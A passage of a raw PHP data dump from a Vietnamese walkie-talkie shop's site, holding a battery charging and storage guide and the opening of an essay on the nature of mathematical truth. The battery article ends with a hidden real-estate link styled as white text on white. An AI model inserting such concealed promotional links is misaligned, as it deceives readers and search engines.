=> '20170508082500cf9cf2aab38a5b43cf9daff032f0eaab.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '70748', 'slug' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '847', 'rght' => '848', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '485', 'name' => 'HƯỚNG DẪN SẠC PIN MÁY BỘ ĐÀM ĐÚNG KỸ THUẬT', 'code' => null, 'alias' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Độ bền và tuổi thọ của pin không chỉ phụ thuộc chủ yếu vào loại chất liệu sản xuất pin mà còn phụ thuộc vào các yếu tố khác trong quá trình sử dụng như: sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để đảm bảo sử dụng pin sạc hiệu quả, người sử dụng cần phải nắm rõ các yêu cầu kỹ thuật về quy trình sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> </p> ', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(85, 85, 85); text-align: justify;"><span style="background-color:#ffffff;">Ngày nay, pin sạc dùng cho các thiết bị điện tử viễn thông nói chung và máy bộ đàm nói riêng thường chủ yếu bao gồm các loại Nikel Cadmium (Ni-Cd), Nikel Metal Hyderide (Ni-MH) và Lithium Ion (Li-Ion). </span></span></span></span><br /> <br /> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Trong đó:</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> </p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-Cd (Nikel Cadmium) là loại pin có dung lượng trung bình, được sản xuất từ hỗn hợp Niken và Cadmium, trong đó Cadmium là một chất độc hại, gây ảnh hưởng xấu đến môi trường sau khi ngưng sử dụng.</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-MH (Nikel Metal Hydride) là một kiểu pin sạc tương tự như pin Ni-Cd nhưng sử dụng hỗn hợp hấp thu Hiđrua thay cho Cadmium. Pin Ni-MH thường có dung lượng điện lớn gấp 2 - 3 lần so với pin NiCd cùng kích thước.</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Li-Ion (Lithium Ion) là loại pin dung lượng cao, cho phép sạc nhồi khi đang sử dụng. Loại pin này hiện tại đang được ưa chuộng sử dụng bởi các tính năng vượt trội của nó như: trọng lượng pin nhẹ, dung lượng lưu trữ cao, không có hiệu ứng nhớ, mức tự xả thấp, có thể sạc nhồi khi đang sử dụng.</span></span></span><br /> </p> <p style="user-select: text; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bảng so sánh các loại pin máy bộ đàm:</span></span></span></span></p> <p style="background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><img alt="" src="http://giamaybodam.vn/data/upload/images/Pinmaybodam.jpg" style="user-select: text !important; border: 0px; background: 0px 0px; font-weight: inherit; margin: 0px !important; padding: 0px; outline: 0px; vertical-align: top;" /></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách sạc pin máy bộ đàm: </span></span></span></span><br /> <br /> <span style="background-color: rgb(255, 255, 255); font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để sạc pin máy bộ đàm, chúng ta thường sử dụng bộ sạc đi kèm theo pin của nhà sản xuất. </span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Có 2 loại sạc: bộ sạc nhanh và bộ sạc tiêu chuẩn</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc nhanh</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc pin với dòng sạc (Ampe) cao, thời gian sạc pin ngắn từ 2 – 4 giờ. Các bộ sạc nhanh thường được thiết kế với bo mạch điều khiển sạc (sạc thông minh) nhằm để tránh trường hợp sạc quá mức, có thể gây hư hỏng pin hoặc gây ra những yếu tố không an toàn, nguy hiểm.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc nhanh ta cần phải chú ý đến tình trạng pin khi sạc, nếu pin nóng quá mức thì nên lấy pin ra và ngưng sạc đợi đến khi pin nguội bình thường rồi tiến hành sạc lại cho đến khi pin thực sự đầy. Đối với pin mới (mới mua hoặc để lâu giờ mới sử dụng lại) ta nên sạc 2 lần cho thật đầy rồi mới sử dụng.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc tiêu chuẩn</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc thường, thời gian sạc dài từ 8 – 16 giờ (hoặc hơn) tùy theo từng loại pin và loại sạc.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc tiêu chuẩn nếu là pin mới mua hoặc pin để lâu giờ mới đem ra sử dụng ta hãy sạc từ 12 – 16 giờ trước khi sử dụng, những lần sau đó ta chỉ nên sạc trung bình 8 - 10 giờ.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Những lưu ý khi sạc pin</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin bằng bộ sạc rời (tức là không phải cắm sạc qua máy như laptop) ta nên tháo pin ra khỏi máy để sạc hoặc là tắt máy đi nếu như sạc pin kèm với máy. Điều này không những giúp nâng cao hiệu suất sạc pin mà còn tránh được trường hợp pin bị “chai kỹ thuật” hoặc những tác động không mong muốn đến máy.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Nên sạc pin khi pin đã được sử dụng hết (không thể vận hành thiết bị - mở máy) nên để pin nguội trước khi sạc, sau khi sạc nên để pin thật nguội trước khi lắp vào thiết bị sử dụng. Điều này rất quan trọng đối với pin Ni-Cd vì nhiệt độ càng cao thì khả năng lưu trữ và bảo quan pin càng thấp. </span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách xả pin máy bộ đàm</span></span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Xả pin là một quy trình cần thiết cho việc nâng cao hiệu quả sử dụng pin sạc. Có rất nhiều cách xả pin như: xả pin kỹ thuật, xả pin bằng bộ sạc xả chuyên dùng, xả pin bằng thiết bị sử dụng… </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Đối với máy bộ đàm thường thì người ta dùng máy để xả pin nếu như chưa trang bị bộ sạc xả chuyên dụng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin máy bộ đàm được làm từ nhiều viên pin nối kết với nhau vì vậy khi xả pin cần phải chú ý để tránh trường hợp “đảo cực”. Các viên pin không bao giờ hoàn toàn giống nhau, vì thế không tránh được tình trạng một viên sẽ bị xả hết hoàn toàn trước những viên khác. Khi điều này xảy ra, viên pin "tốt" sẽ bắt đầu "biến" viên đã xả hết đảo chiều, điều này có thể khiến viên pin đó hỏng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách bảo quản pin máy bộ đàm</span></span><br style="user-select: text !important;" /> <br style="user-select: text !important;" /> <span style="background-color:#ffffff;">Nếu trong quá trình ta không sử dụng máy, ta nên bảo quản bằng cách sạc pin đầy và tháo pin rời thân máy trước khi bảo quản cất giữ, sau đó cứ mỗi tháng ta nên sạc lại đầy pin 01 lần. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin không sử dụng trong một khoảng thời gian cần phải được sạc đầy trước khi sử dụng. Cũng vì lý do này mà các pin mới cần phải trải qua vài lần sạc - xả mới có thể đạt được mức dung lượng điện công bố. </span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;"><span style="background-color: rgb(255, 255, 255); font-family: Arial, Verdana, sans-serif;">Chung cư Goldlight Khuất Duy Tiến</span></span></a></p> ', 'images' => '2017050808014443070999c12ebb927c696a6f2bf4ffa7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '69053', 'slug' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '845', 'rght' => '846', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng 